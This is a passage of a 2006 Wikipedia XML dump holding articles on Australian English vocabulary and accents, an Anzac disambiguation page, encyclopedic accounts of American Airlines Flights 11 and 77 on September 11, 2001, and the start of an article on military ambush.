The so-called &quot;[[Americanisation]]&quot; of Australian English &amp;mdash; signified by the borrowing of words, terms and usages from [[American English]] &amp;mdash; which began during the goldrushes, was accelerated by a massive influx of US military personnel during [[World War II]]. The large-scale importation of [[television]] programs and other [[mass media]] content from the [[United States]], from the 1950s onwards, has also had a significant effect. As a result, for example, Australians use the word ''truck'' instead of the British ''lorry''.

Due to their shared history and geographical proximity, Australian English is most similar to [[New Zealand English]]. However, the difference between the two spoken versions is obvious to people from either country, if not to a casual observer from a third country. The vocabulary used also exhibits some striking differences.

===Spelling===
The exposure to the different spellings of British and American English leads to a certain amount of spelling variation such as ''organise/organize''. British spelling is generally preferred, although some words are usually written in the American form, such as ''program'' and ''jail'' rather than ''programme'' and ''gaol'' (although commonly one could be 'jailed' in a 'gaol'). Publishers, schools, universities and governments typically use the [[Macquarie Dictionary]] as a standard spelling reference. Both -ise and -ize are accepted, as in British English, but '-ise' is the preferred form in Australian English by a ratio of about 3:1 according to the [[Australian Corpus of English]].

There is a widely-held belief in Australia that American spellings are a modern &quot;intrusion&quot;, but the debate in fact goes back to the [[19th century]]. A pamphlet titled ''The So Called &quot;American Spelling.&quot;'', printed in Sydney over 100 years ago, argued that &quot;there is no valid etymological reason for the preservation of the u in such words as honor, labor, etc.&quot; At the time it was noted that &quot;the tendency of people in Australasia is to excise the u, and one of the Sydney morning papers habitually does this, while the other generally follows the older form&quot;. Some Melbourne newspapers once excised the &quot;u&quot;, but do not anymore, and the [[Australian Labor Party|Australian ''Labor'' Party]] officially adopted the '-or' ending in [[1912]].

===Irish influences===
There is some influence from [[Hiberno-English]], but perhaps not as much as might be expected given that many Australians are of [[Ireland|Irish]] descent. Perhaps most noticeable is the widespread – but not universal – pronunciation of the name of the letter &quot;H&quot; as &quot;''haitch''&quot; {{IPA|/hæɪtʃ/}}, rather than the unaspirated &quot;''aitch''&quot; {{IPA|/æɪtʃ/}} found in New Zealand, as well as most of Britain and North America. This is most often found amongst speakers of ''Broad Australian English'' and is thought to be the influence of Irish [[Roman Catholic Church|Catholic]] priests and nuns. Others include the non-standard plural of &quot;you&quot; as &quot;''youse''&quot; {{IPA|/jʉːz/}}, which is common in some social circles, and the expression &quot;''good on you''&quot; or &quot;''good onya''&quot;, although the former is common throughout North America and the latter is also encountered in New Zealand English and British English.  Another usage indicative of an Irish influence is use of the word 'me' replacing 'my'.  Example: ''Where's me hat?''

===Samples of Australian English===
The [[Australian Broadcasting Corporation]] provides many [http://www.abc.net.au/streaming/ streams of their radio programmes].

Non-Australians can also gain an impression of Australian English from well-known actors and other native speakers. The voices of [[Cate Blanchett]], [[Russell Crowe]], [[Nicole Kidman]], [[Hugh Jackman]] and [[Naomi Watts]] are examples of [[Australian_English#General_Australian_English|General Australian accents]], unless they are acting in roles as non-Australians. Several [[List of Australians#Film_and_television|Australian actors]] provided voices for ''[[Finding Nemo]]'': Nigel the pelican, the three sharks, and the dentist have Australian accents. Television star [[Steve Irwin|Steve &quot;Crocodile hunter&quot; Irwin]] has a [[Australian_English#Broad_Australian_English|Broad Australian accent]] (see below) and as a result his voice is often parodied inside Australia as well as out. [[John O'Grady]]'s novel ''[[They're a Weird Mob]]'' has many good examples of pseudo-phonetically written Australian speech during the 1950s, such as ''&quot;owyergoinmateorright?&quot;'' (&quot;how're you going mate, alright?&quot;) and [[Tom Keneally]]'s novels, particularly ''The Chant of Jimmie Blacksmith'', of putatively 19th century Australianisms such as &quot;yair&quot; for &quot;yes&quot; and &quot;nothink&quot; for &quot;nothing.&quot;

==Vocabulary==
{{main|Australian words}}
===The origins of Australian words===
Australian English incorporates many terms that Australians consider to be unique to their country. One of the best-known of these is ''outback'' which means remote, sparsely-populated areas. The similar ''bush'' can mean either native forests, or country areas in general. Both terms are historically widely used in many English speaking countries, however. Many such words, phrases or usages originated with the British convicts transported to Australia. Many words used frequently by country Australians are, or were, also used in all or part of England, with variations in meaning. For example: a ''creek'' in Australia, as in North America, is any stream or small river, whereas in England it is a small watercourse flowing into the sea; ''paddock'' is the Australian word for a field, while in England it is a small enclosure for livestock and; wooded areas in Australia are known as ''bush'' or ''scrub'', as in North America, while in England, they are commonly used only in proper names (such as [[Shepherd's Bush]] and [[Wormwood Scrubs]]). Cockney and Australian English also both use the word ''mate'' to mean a close friend of the same gender (rather than the conventional meaning of &quot;a [[spouse]]&quot;), although this usage has also become common in some other varieties of English.

The origins of other terms are not as clear, or are disputed. ''Dinkum'' (or &quot;fair dinkum&quot;) means &quot;true&quot;, or when used in speech: &quot;is that true?&quot;, &quot;this is the truth!&quot;, and other meanings, depending on context and inflection. It is often claimed that dinkum dates back to the [[Australian goldrushes]] of the 1850s, and that it is derived from the [[Cantonese (linguistics)|Cantonese]] (or Hokkien) ''ding kam'', meaning &quot;top gold&quot;. However, scholars give greater credence to the notion that it originated with a now-extinct dialect word from the [[East Midlands]] in England, where dinkum (or dincum) meant &quot;hard work&quot; or &quot;fair work&quot;, which was also the original meaning in Australian English.[http://www.anu.edu.au/andc/ozwords/November_98/7._dinkum.htm] The derivation ''dinky-di'' means a native-born Australian.

Similarly, ''g'day'', a stereotypical Australian greeting, is no longer synonymous with &quot;good day&quot; in other varieties of English and is never used as an expression for &quot;farewell&quot;, as &quot;good day&quot; is in other countries.

Some elements of [[Australian Aboriginal languages|Aboriginal languages]] have been incorporated into Australian English, mainly as names for places, flora and fauna (for example [[dingo]], [[kangaroo]]).  Beyond that, some terms have been adopted into the wider language, except for some localised terms, or slang. Some examples are ''cooee'', ''yarn'' and ''Hard yakka''.  The former is a high-pitched call (pronounced {{IPA|/kʉː.iː/}}) which travels long distances and is used to attract attention. ''Cooee'' has also become a notional distance: ''if he's within cooee, we'll spot him''. ''Yarn'' means to chat or tell a story. This has further evolved into ''spin a yarn'' for telling a long and engaging tale. ''Hard yakka'' means ''hard work'' and is derived from ''yakka'', from the [[Yagara]]/[[Jagara]] language once spoken in the Brisbane region. Also from the Brisbane region comes the word ''bung'' meaning broken. A failed piece of equipment might be described as having ''gone bung''.

Though often thought of as an Aboriginal word, [[didgeridoo]] (a well known wooden musical instrument) is probably an [[onomatopoeia|onomatopaoeic]] word of Western invention.  It has also been suggested that it may have an [[Irish language|Irish]] derivation.[http://www.flinders.edu.au/news/articles/?fj09v13s02]

==Varieties of Australian English==
Most linguists consider that there are three main varieties of Australian English: &quot;'''Broad'''&quot;, &quot;'''General'''&quot; and &quot;'''Cultivated'''&quot;. These three main varieties are actually part of a continuum and are based on variations in accent. They often, but not always, reflect the [[social class]] and/or [[education]]al background of the speaker.

====Broad Australian English====
Broad Australian English is the [[archetype|archetypal]] and most recognisable variety and is familiar to English speakers around the world, because of its use in identifying Australian characters in non-Australian [[film]]s and [[television]] programs. In reality it is less common than General Australian English. Broad Australian English is recognisable by a certain nasal [[drawl]] and the prevalence of long [[diphthong]]s.
Broad Australian English is more likely to be encountered when travelling farther away from the capital cities.

====General Australian English====
General Australian English is the [[stereotype|stereotypical]] variety of Australian English. It is the variety of English used by the majority of Australians and it dominates the accents found in contemporary Australian-made films and television programs, such as ''[[Neighbours]]''. This variety has noticeably shorter vowel sounds than Broad Australian English, among other differences. There is perhaps a trend towards General Australian away from the extremes.

====Cultivated Australian English====
Cultivated Australian English (CAE) has many similarities to [[United Kingdom|British]] [[Received Pronunciation]], and is often mistaken for it. CAE is now spoken by less than 10% of the population. An overwhelmingly large and growing majority of Australians now have either General or Broad accents. One effect of this is that the speech of people like [[Alexander Downer]], the [[Minister for Foreign Affairs (Australia)|Minister for Foreign Affairs]] is mocked as sounding &quot;[[wiktionary:affected|affected]]&quot;, &quot;[[wiktionary:snobby|snobby]]&quot; or &quot;[[wiktionary:aloof|aloof]]&quot;, when his accent is simply an example of CAE, reinforced by the fact that he completed his secondary schooling at a [[public school]] in England and went to university there. CAE was once common among public figures in Australia.

====Examples of Broad, General and Cultivated Australian accents====
Examples of each include the normal speaking voices of the following identities:

'''Broad'''
*Prime Minister [[Bob Hawke]]
*actor [[Bryan Brown]]
*actor [[Paul Hogan (actor)|Paul Hogan]] 
*television personality [[Steve Irwin]]
*television/stage character [[Dame Edna Everage]] &lt;!-- Note: Edna may believe that she has a cultivated or general Australian accent, but listen to her vowels. --&gt;

'''General''' 
*Prime Minister [[John Howard]]
*actress [[Nicole Kidman]]
*actor [[Hugh Jackman]]
*actor [[Russell Crowe]]
*actor [[Jesse Spencer]]

'''Cultivated'''
*actress [[Judy Davis]]
*Prime Minister [[Malcolm Fraser]]
*actor [[Geoffrey Rush]]
*opera singer [[Dame Joan Sutherland]]
*comedian/actor [[Barry Humphries]]

===Regional variation===
It is sometimes claimed that regional variations in pronunciation and accent exist, but if present at all they are very small compared to those of British and American English &amp;ndash; sufficiently so that linguists are divided on the question. Overall, pronunciation is determined less by region than by social and educational influences.

====Regional vocabulary====
There is, however, some variation in Australian English vocabulary between different regions. An example often cited by linguists is the variety of names given by Australians to bland, processed [[pork]] products &amp;ndash; known in other countries as pork [[luncheon meat]] or [[baloney]] &amp;ndash; is so great, that these words are used by linguists to ascertain not only which Australian state or territory a person is from, but also regional origin within states in some cases. For example, in [[South Australia]] (SA) this product is known as ''fritz'', for most people in [[Victoria (Australia)|Victoria]] (Vic) it is ''stras'', in most of [[New South Wales]] (NSW) it is ''devon'', in [[Western Australia]] (WA) ''polony'', in [[Queensland]] (Qld) ''windsor'' (''&quot;devon&quot;'' is also used), in [[Tasmania]] (Tas) ''belgium'', and so on. (See [[Australian_words#Processed_pork|Australian words for processed pork]], for more details.)

Regional variation does not respect [[States and territories of Australia|state borders]], and this is shown, for example, by the fact that both Queenslanders and people from northern New South Wales say ''port'' (short for [[Portmanteau (travelling case)|portmanteau]]) while people in the other states say ''case'', ''school bag'', ''backpack'' and/or ''knapsack''. In the past variation was so strong that the residents of the NSW town of [[Maitland, New South Wales|Maitland]] would use the word port where [[Newcastle, New South Wales|Newcastle]], some 20 kilometres away, would prefer the latter term. 

There is also great variety in the names of beer glasses from one area to another. For example, a standard 285ml (10 fl.oz.) glass, in different states or regions, is known as a ''middy'' (NSW/WA/[[Australian Capital Territory|ACT]]), ''pot'' (Vic/Qld/Tas), ''handle'' (NT/SA), ''ten'' (SA/Tas)  or ''schooner'' (SA). Such variation causes great confusion, especially since a schooner is a 425 ml
(15 fl.oz.) glass in every state that uses the word except SA. (See [[Australian_words#Beer_glasses|Australian words for beer glasses]] for a full list.)

Although swimwear is known as ''bathers'' in most areas, people in NSW and Queensland do not conform, preferring terms such as ''swimmers'', ''cossie'' or ''togs'' (see [[Australian_words#Swimwear|Australian words for swimwear]]).

Another example is the word ''tuckshop'' which is used in Queensland and northern NSW to describe a food outlet on school premises; the word ''canteen'' is now more common in other areas of Australia, although tuckshop may occasionally be used in those areas as well.

There are many regional variations for describing [[social class]]es or [[subculture]]s.  The best example is probably ''[[bogan]]'' (fairly universal), which is also referred to as ''bevan'' in Queensland&lt;!---removed &quot;, ''westie'' around Sydney,&quot; &quot;westie&quot; is not synonymous with &quot;bogan&quot; ---&gt; and ''booner'' in the ACT.

The differences are not restricted to words. For example, it is often said that people from some parts of [[Queensland]] end sentences with the interrogative &quot;''eh''?&quot; (or &quot;''hay?''&quot;, &quot;''hey''&quot;, and so on), although this is also common in both [[New Zealand English]] and [[Canadian English]]. 

The steadily increasing centralisation of film, TV and radio production, however, may be spreading new words more rapidly and blurring such distinctions.

{{see also|South Australian English|Western Australian English}}

=====Sport variations=====
Many regional variations are as a result of the Australian passion for sport and the differences in non-linguistic traditions from one state to another: the word ''[[football]]'' refers to the most popular code of football in different States or regions, or even ethnic groups within them. [[Victoria (Australia)|Victorians]] start a game of [[Australian rules football]] with a ''ball up'', [[Western Australia]]ns with a ''bounce down''; [[New South Wales|New South Welsh]] people and [[Queensland]]ers start a game of [[Rugby League]] or [[Rugby Union]] with a ''kick off'', as do [[football (soccer)|soccer]] fans across Australia.

In the early 21st century the [[Football Federation Australia| 
national governing body for football (soccer)]] attempted to foster use of &quot;football&quot; to mean soccer, in accordance with general international usage.  It is yet to be seen whether this will spead into the mainstream, however it is important to note that several media outlets have adopted the use of the word football in accordance with this.

The Australian slang word ''footy'' has been traditionally associated with the native code of Australian rules football.  The word has also been adopted to a lesser degree by rugby league followers, following directly from the association of the word to describe the most popular football code.  Examples in popular culture includes the [[The Footy Show]]. More recently it has been adopted in other countries in reference to other codes, such as the UK (soccer) and New Zealand (rugby union).

For many Australian rules followers, the verb ''barrack'' (or the accompanying noun form ''barracker''), is used to describe following a team or club. (In New South Wales and Queensland the term ''support'' or ''supporter'' is generally used instead.) Barrack has its origins in British English, although in the UK it now usually means to jeer or denigrate an opposing team or players. The expression &quot;root (or rooting) for a team&quot;, as used in the United States, is not generally used in Australia as ''root'' (or rooting) is slang for [[sexual intercourse]].

==Phonology==
{{main|Australian English phonology}}
Australian English is a [[Rhotic and non-rhotic accents|non-rhotic]] variety. It is unique in its remarkable homogeneity over a vast area. Unlike most varieties of English, it has a [[vowel length|phonemic length distinction]]. It has a reasonably standard consonant inventory.
{{see also|Phonemic differentiation}}

===Myths about Australian accents===
Australian English is sometimes described as high-pitched, nasal, lazy or drawling. The claims of high pitch and nasality are not entirely true, as many Australian English speakers perceive much of American English to be nasal, while laziness and drawling are impossible to test objectively.

Similarly, stereotypes of Australian speech as having a &quot;rising tone&quot; or &quot;questioning intonation&quot;, known in linguistics as [[high rising terminal]], are not entirely justified by the empirical evidence. Many Australians' speech patterns do not conform to this stereotype, and the &quot;questioning intonation&quot; can be found in many regional speech patterns, such as those in the south of England, Northern Ireland, and even North America.

==Use of words by Australians==
Perception has it that a common trait is the frequent use of long-winded [[simile|similes]], such as &quot;slow as a wet week&quot;, &quot;built like a brick shit-house&quot;, &quot;mad as a cut snake&quot;, &quot;up and down like a bride's nightie&quot;, &quot;dry as a dead dingo's donger&quot;, &quot;off like prawns in the sun&quot;, &quot;sweating like a pig on fire&quot;, or &quot;flat out like a lizard drinking&quot;.  Moreover, several such expressions are common in many parts of the English-speaking world and are only perceived as uniquely Australian by Australians.

Many Australians believe themselves to be direct in manner, and this is typified by statements such as &quot;why call a spade a spade, when you can call it a bloody shovel&quot;. Such sentiments can lead to misunderstandings and offence being caused to people from cultures where an emphasis is placed on avoiding conflict, such as people from [[East Asia]]. 

Spoken Australian English is generally more tolerant of offensive and/or abusive language than other variants. A famous exponent was the former [[Prime Minister of Australia|Prime Minister]] [[Paul Keating]], who referred in [[Parliament of Australia|Parliament]] to various political opponents as a &quot;mangy maggot&quot;, a &quot;stupid foul-mouthed grub&quot;, and so on.  He drew ire from then Malaysian leader [[Mahathir Mohammed]] for calling him a &quot;recalcitrant&quot;. This tradition was continued by fellow [[Australian Labor Party|Labor]] [[Member_of_parliament|MP]] [[Mark Latham]] who, in 2002, unapologetically described a visit by Prime Minister [[John Howard]] to [[George W. Bush]] as &quot;an arse-licking effort&quot;.  The widespread  desire among Australians to avoid pomposity, leading to a rejection of even formal or dignified speech, is sometimes seen as reflecting a suspicion of success in general, a phenomenon sometimes known as the [[tall poppy syndrome]], another term widely used in the English speaking world but perceived by many Australians to be a local coinage.

===Humour===
An important aspect of Australian English usage, inherited in small part from Britain and Ireland, is the use of [[deadpan humour]], in which a person will make extravagant, outrageous and/or ridiculous statements in a neutral tone, and without explicitly indicating they are joking. Tourists seen to be gullible and/or lacking a sense of humour may be subjected to tales of kangaroos hopping across the [[Sydney Harbour Bridge]] and similar tall tales. (See also [[Drop Bear]].)

===Diminutives===
Australian English makes far more frequent use of [[diminutive]]s than other varieties of English.  These which can be formed in a number of ways such as adding ''-o'' or ''-ie'' to the ends of abbreviated words. They can be used to indicate familiarity, although in many [[speech community|speech communities]] the diminutive form is more common than the original word or phrase.

Examples with the -o ending include ''abo'' (aborigine, now considered offensive), ''arvo'' (afternoon), ''doco'' (documentary), ''servo'' (service station, known in other countries as a &quot;petrol station&quot; or &quot;gas station&quot;), ''bottle-o'' (bottle-shop or liquor store), ''rego'' (still pronounced with a {{IPA|/&amp;#676;/}}) (annual motor vehicle registration), ''compo'' (compensation), ''leso'' or ''lesbo'' (lesbian, also offensive, pronounced with a {{IPA|/z/}}), ''ambo'' (ambulance officer). [[The Salvation Army]] is often referred to as &quot;The Salvos&quot;. The city of [[Fremantle, Western Australia|Fremantle]] is known by many of its inhabitants as ''Freo''. [[Filipino people|Filipino]] youth in Australia refer to themselves as being a ''Filo'', a word not used by [[Filipino American]]s.

Examples of the -ie ending include ''barbie'' (barbecue), ''bikkie'' (biscuit), ''bikie'' (member of a motorcycle club), ''brekkie'' (breakfast), ''blowie'' (blowfly), ''brickie'' (brick layer), ''mozzie'' (mosquito), and ''pollie'' (politician).  The city of [[Brisbane]] is often called ''Brissie'' (pronounced with a {{IPA|/z/}}).  

Occasionally, a ''-za'' diminutive is used, usually for personal names where the first of multiple syllables ends in an &quot;r&quot;. Karen becomes ''Kazza'' and Jeremy becomes ''Jezza''. Also popular and common is the ''-z'' diminutive form (also found in British English) whereby Karen becomes ''Kaz'' and so on.

Other diminutive forms include:
* last one or two syllables, prefaced with a [[definite article]]: for example, ''The Gabba'' for the [[Brisbane Cricket Ground]] at [[Woolloongabba, Queensland|Woolloongabba]]; ''The Gong'' for [[Wollongong]].
* first syllable plus &quot;-s&quot;: ''turps'' [[turpentine]] (usually referring to drinking alcohol, e.g. &quot;a night on the turps&quot;) or [[Ian Turpie]]; Gabs, pet form of [[List of English given names|Gabrielle]].
* first syllable plus &quot;-ers&quot;: ''Honkers'' ([[Hong Kong]]).

===Rarely Used Phrases===
Because of the caricaturised over-use, or &quot;Hollywoodisation&quot;, of some phrases attributed to Australians, some of these have dropped out of common conversation (at least in most urban areas). Words being used less often are ''strewth'' and ''crikey'', and archetypal phrases like ''Flat out like a lizard drinking'' are rarely heard without a sense of irony.

Other terms were never used in the first place. The much-quoted line &quot;''[[Shrimp_on_the_barbie|Throw another shrimp on the barbie]]''&quot; was a phrase that has never been used by Australians, but was a concoction of the Australian Tourist Commission for a US advertisement for tourism to Australia. &quot;[[Shrimp]]&quot; is an international English term — they are called [[prawns]] in Australia.

==See also==
*[[Australian Aboriginal English]]
*[[International Phonetic Alphabet for English]]
*[[IPA chart for English]]
*[[Nickname]]

==References==
*{{cite journal | author=Harrington, J., F. Cox, and Z. Evans | title=An acoustic phonetic study of broad, general, and cultivated Australian English vowels | journal=Australian Journal of Linguistics | year=1997 | volume=17 | pages=155&amp;ndash;84}}
*Mitchell, Alexander G., 1995, ''The Story of Australian English'', Sydney: Dictionary Research Centre.
*Peters, Pam. (1986) &quot;Spelling principles&quot;, In: Peters, Pam, ed., Style in Australia: Current Practices in Spelling, Punctuation, Hyphenation, Capitlisation, etc.,
* ''The So Called &quot;American Spelling.&quot; Its Consistency Examined.'' pre-1900 pamphlet, Sydney, E. J. Forbes. Quoted by Annie Potts in [http://www.bikwil.zip.com.au/Vintage19/Webster's-Dictionary.html this article]

==External links==
*[http://www.anu.edu.au/ANDC/ Australian National Dictionary Centre]
*[http://abc.net.au/wordmap/ ABC.net Australian Word Map] 
*[http://www.ling.mq.edu.au/speech/phonetics/topics.html Introduction to Australian Phonetics and Phonology]
*[http://www.macquariedictionary.com.au/ Macquarie Dictionary]
*[http://www.world-english.org/ World English Organisation]
*[http://www.nma.gov.au/play/aussie_english_for_the_beginner/ Aussie English for beginners -- the origins, meanings and a quiz to test your knowledge] at the National Museum of Australia.


[[Category:Australian English| ]]
[[Category:English language]]
[[Category:Forms of English]]
[[Category:English dialects]]
[[Category:Sociolinguistics]]

[[de:Australisches Englisch]]
[[he:אנגלית אוסטרלית]]
[[sv:Australisk engelska]]</text>
    </revision>
  </page>
  <page>
    <title>Anzac</title>
    <id>1898</id>
    <revision>
      <id>41644173</id>
      <timestamp>2006-02-28T19:26:51Z</timestamp>
      <contributor>
        <username>Ummit</username>
        <id>328950</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">* [[Australian and New Zealand Army Corps]], the name used to describe the combination of the Australian and New Zealand Army Corps during wartime
* [[Anzac biscuit]], a traditional Australian biscuit
* [[Anzac class frigate]],  class of frigate currently used by the Royal Australian Navy and Royal New Zealand Navy
* [[ANZAC Day]], a public holiday on the 25th of April every year to commemorate the landing at Gallipoli
* [[ANZAC spirit]], a component of modern Australasian mythology describing the spirit of mateship and cheerful suffering amongst Australians
* [[Anzac (Currency)]], a proposed name for a combined Australian and New Zealand currency

==See also==
* [[HMAS Anzac]] for a list of Royal Australian Navy ships bearing the name ''Anzac''

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>American Airlines Flight 11</title>
    <id>1899</id>
    <revision>
      <id>41529422</id>
      <timestamp>2006-02-27T23:38:53Z</timestamp>
      <contributor>
        <ip>64.216.18.180</ip>
      </contributor>
      <text xml:space="preserve">{{Sep11}}
'''American Airlines Flight 11''' was an [[American Airlines]] flight aboard a [[Boeing 767-223ER]] [[aircraft]], registration number N334AA. Flight 11 regularly flew from [[Logan International Airport]] in [[East Boston, Massachusetts|East Boston]], [[Massachusetts]], to [[Los Angeles International Airport]]. On [[September 11]], [[2001]], the aircraft on this route was [[Aircraft hijacking|hijacked]] in a [[September 11, 2001 attacks|terrorist attack]]; the hijackers crashed into the [[One World Trade Center tenants|North Tower]] of the [[World Trade Center]] in [[New York City]].

[[Image:911 commission AA11 path.png|thumb|left|AA 11 flight path from Boston to New York City.]]
The regularly scheduled flight took off from Logan International Airport at 7:59 a.m., and the plane is believed to have been hijacked at 8:14. At around that time, when the plane stopped responding to [[air traffic control]], the [[Federal Aviation Administration]] had thought the plane had been hijacked. By 8:25, there was no doubt.

There were five hijackers believed to have participated in the hijacking. [[Mohamed Atta al Sayed]], the ringleader and pilot, was in seat 8D. [[Satam al-Suqami]], who had paid in cash that day, sat in seat 10B. [[Waleed al-Shehri]] sat in seat 2B, while [[Wail al-Shehri]] sat next to him in seat 2A. [[Abdulaziz al-Omari]], who had earlier flown with Atta to Logan Airport from Portland, Maine, was also on this flight. 

Some information about what had happened on board was sent by flight attendants on the plane. According to [[Madeline Amy Sweeney]] and [[Betty Ong]], three people&amp;ndash;two attendants and a passenger&amp;ndash;were stabbed or had their throats slashed by the hijackers. The passenger, [[Daniel M. Lewin|Daniel Lewin]], a notable [[Internet]] [[entrepreneur]], had also previously served as an officer in the elite [[Sayeret Matkal]] unit of the [[Israeli Defense Forces|Israeli military]]. A 2002 [[FAA]] memo referenced Lewin as possibly being killed by [[Satam al-Suqami]] after he attempted to stop the hijacking.

The first-class area had been sequestered by the surviving crew, and the rest of the passengers had been led to believe that a medical emergency was taking place in the first class area. The hijackers also used [[mace (spray)|mace]], [[pepper spray]], or some other [[aerosol spray]]-based [[tear gas|irritant]] to discourage entry into the first class area and the cockpit. One reported that her eyes were burning and that she was having trouble breathing. The hijackers claimed to have a bomb, although there is no evidence they actually had an explosive device.

At  8:46:40 a.m., Flight 11 was deliberately crashed into the North Tower of the World Trade Center between the 94th and 98th floors. This was the first crash in the attacks of the day. The plane was carrying 81 passengers (including the five hijackers) and 11 crew. All on board were killed, along with many hundreds in the building, and the tower later collapsed, killing hundreds more.

Although the impact itself caused extensive structural damage, it was the long-lasting fire, starting with burning jet fuel, which is blamed for the structural failure of the North Tower. Many have speculated that this is why the hijackers chose to use this fully fueled transcontinental flight. The centralized-support design (in the center core and exterior walls, instead of throughout) of the towers also contributed to the collapse. In a later recording, [[Osama bin Laden]] seemed to take credit for the attack, and stated that he did not expect the towers would collapse.

The [[flight route designation]] (flight number) for future flights on the same route at the same takeoff time was changed to &quot;Flight 25,&quot; to disassociate other planes from the one used in the attack and out of respect for those who had died in the attack. An American flag now flies on the jet bridge that Flight 11 departed from at Logan Airport.

The pilot on the flight was John Ogonowski, 52, of Dracut, Massachusetts.

==Initial Suspects==
*[[Adnan Bukhari]]
*[[Ameer Bukhari]]
*[[Amer Kamfar]]

==External links==
*[http://www.gpoaccess.gov/911/index.html The Final 9/11 Commission Report]
*[http://www.cooperativeresearch.org/timeline.jsp?timeline=complete_911_timeline&amp;day_of_911=aa11 AA Flight 11: Minute by Minute]
*[[:sep11:American Airlines Flight 11 victims|American Airlines Flight 11 manifest]]

[[Category:September 11, 2001 attacks]]

[[fr:Vol 11 d'American Airlines]]</text>
    </revision>
  </page>
  <page>
    <title>American Airlines Flight 77</title>
    <id>1902</id>
    <revision>
      <id>41530274</id>
      <timestamp>2006-02-27T23:45:03Z</timestamp>
      <contributor>
        <ip>64.216.18.180</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Pentagonfireball.jpg|230px|thumb|right|Security Camera image of the moment that American Airlines Flight 77 hit the [[The Pentagon|Pentagon]].]]
{{Sep11}}
'''[[American Airlines]] Flight 77''' was a morning flight that routinely flew from [[Washington Dulles International Airport]] in [[Fairfax County, Virginia|Fairfax]] and [[Loudoun County, Virginia|Loudoun Counties, Virginia]], near [[Washington, D.C.]], to [[Los Angeles International Airport]] (IAD-LAX). On [[September 11]], [[2001]], the [[Boeing 757-223]], N644AA, was hijacked as part of the [[September 11, 2001 attacks|9/11 attacks]].  The hijackers were reported to have been [[Khalid al-Mihdhar]], [[Majed Moqed]], [[Nawaf al-Hazmi]], [[Salem al-Hazmi]], and the suicide pilot [[Hani Hanjour]]. 

The flight was scheduled to depart at 8:10 AM EDT, but actually departed at 8:20. It was later determined that three of the hijackers had been stopped before boarding the flight because they failed the metal detector test, but were nonetheless allowed to enter the plane.

[[Image:911 commission AA77 path.png|thumb|left|AA 77 flight path from Dulles to Pentagon (to east of Dulles).]]
The flight was probably hijacked between 8:51 to 8:54. The assailants used knives and box-cutters to gain entrance to the [[cockpit]]. By 8:56, the flight was turned around, and the [[transponder]] had been disabled. The [[Federal Aviation Administration|FAA]] was aware at this point that there was an emergency aboard the plane. (By this time, [[American Airlines Flight 11]] had already crashed into the [[World Trade Center]], and [[United Airlines flight 175]] was known to have been hijacked as well.)

According to the 9/11 Commission Report, two passengers made phone calls to contacts on the ground. At 9:12, passenger Renee May was reported to have called her mother, Nancy May, in Las Vegas. She said her flight was being hijacked by six individuals and they had been moved to the rear of the plane. [[Barbara K. Olson]], another passenger, called her husband, [[United States Solicitor General]] [[Theodore Olson]] at the [[Justice Department]] twice to tell him about the hijacking and to report that the passengers and pilots were held in the back of the plane. After the call was cut off, Theodore Olson tried unsuccessfully to contact [[Attorney General]] [[John Ashcroft]].

Flight 77 crashed into the western side of [[The Pentagon]] in [[Arlington County, Virginia]], just south of [[Washington, D.C.]] at 9:37 AM EDT, killing all of its 58 passengers (including the hijackers) and 6 crew (but see [[#Disputes about the final destination of Flight 77|Disputes]] below). The section of the Pentagon hit consisted mainly of recently renovated, unoccupied offices, and was damaged by the crash and the ensuing violent fire. The crash and subsequent fire penetrated three outer ring sections of the western side. The outermost ring section was largely destroyed, and a large section collapsed. One hundred twenty-five people in the Pentagon died from the attack.

After the crash, the [[flight route designation]] for future flights on the same route was renumbered Flight 149.

Among American Airlines Flight 77 were 3 young schoolchildren, embarking on an educational trip to the Channel Islands National Marine Sanctuary near Santa Barbara, California, as part of a program funded by the National Geographic Society.  The student names were Bernard Brown, 11, Asia Cotton, 11, and Rodney Dickens, also 11 years old.  Their chaperones; Sarah Clark, 65; James Debeuneure, 58; Ann Judge, 45; Hilda Taylor and Joe Ferguson also died.  

In total 5 passengers were under 12 years old.

==Disputes about the final destination of Flight 77==
{{main|9/11 conspiracy theories#The Pentagon}}

Some dispute the claim that Flight 77 struck the Pentagon. Claims that the Pentagon was not hit by a Boeing 757 have been raised based on photographs taken from the highway (hundreds of feet from the building) in which there is a seeming lack of debris and a lack of damage to the building or the lawn.  Those who believe that the Pentagon was not hit by a Boeing 757 allege that no pieces of a commercial aircraft were found, that the footage was confiscated, and other factors.  However, many of these claims have been refuted[http://911review.com/errors/pentagon/index.html],[http://911research.wtc7.net/essays/pentagontrap.html],[http://www.oilempire.us/pentagon.html].  Additionally, all of these theories must by definition ignore most of the [http://eric.bart.free.fr/iwpb/witness.html over 100 eyewitness testimonies] documented online which describe a commercial jet impacting the building.  None of these theories account for the fate of the aircraft after the above mentioned in-flight calls made by the passengers to their loved ones describing the hijacking.  Though some express doubts concerning the ability of making a successful cellphone call above 30,000 ft, others point out that cell phones are regularly used on private and corporate planes thousands of times every day without incident.

==External links==
* [[:sep11:Casualties of the September 11, 2001 attacks: plane passengers|Flight manifest for American Airlines flight 77]]
* [[sep11:American Airlines flight 77|Memorial wiki tribute to those killed in this flight]] (with flight manifest)
*[http://www.cooperativeresearch.org/timeline.jsp?timeline=complete_911_timeline&amp;day_of_911=aa77 CooperativeResearch.org] - 'Project: Complete 911 Timeline' (Open-Content project) 
*[http://www.gpoaccess.gov/911/index.html GPOAccess.gov] - 'The 9-11 Commission Report: Final Report of the National Commission on Terrorist Attacks Upon the United States, Official Government Edition' [[2005]])
*[http://www.oilempire.us/pentagon.html Oilempire.us] - A list of detailed analyses that argue for complicity but against the &quot;no plane&quot; claims.

[[Category:History of Virginia]]
[[Category:September 11, 2001 attacks]]

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    <title>American Airlines flight 77</title>
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    <title>American Airlines flight 11</title>
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  <page>
    <title>Ambush</title>
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      <text xml:space="preserve">:''For the [[Avalon Hill]] board game, see [[Ambush!]].''
:''For the [[breakcore]] record label, see [[Ambush records]].''

An '''ambush''' is a long established [[military tactics|military tactic]] in which an ambushing force uses [[concealment]] to attack an enemy that passes its position. Ambushers strike from concealed positions such as among dense [[underbrush]] or behind [[hill]]tops. The [[tactic]] is generally used to gather intelligence or to establish control over an area. Ambushes have been used consistently throughout history, from [[ancient warfare|ancient]] to [[modern warfare|modern]] [[warfare]].



==Procedure==
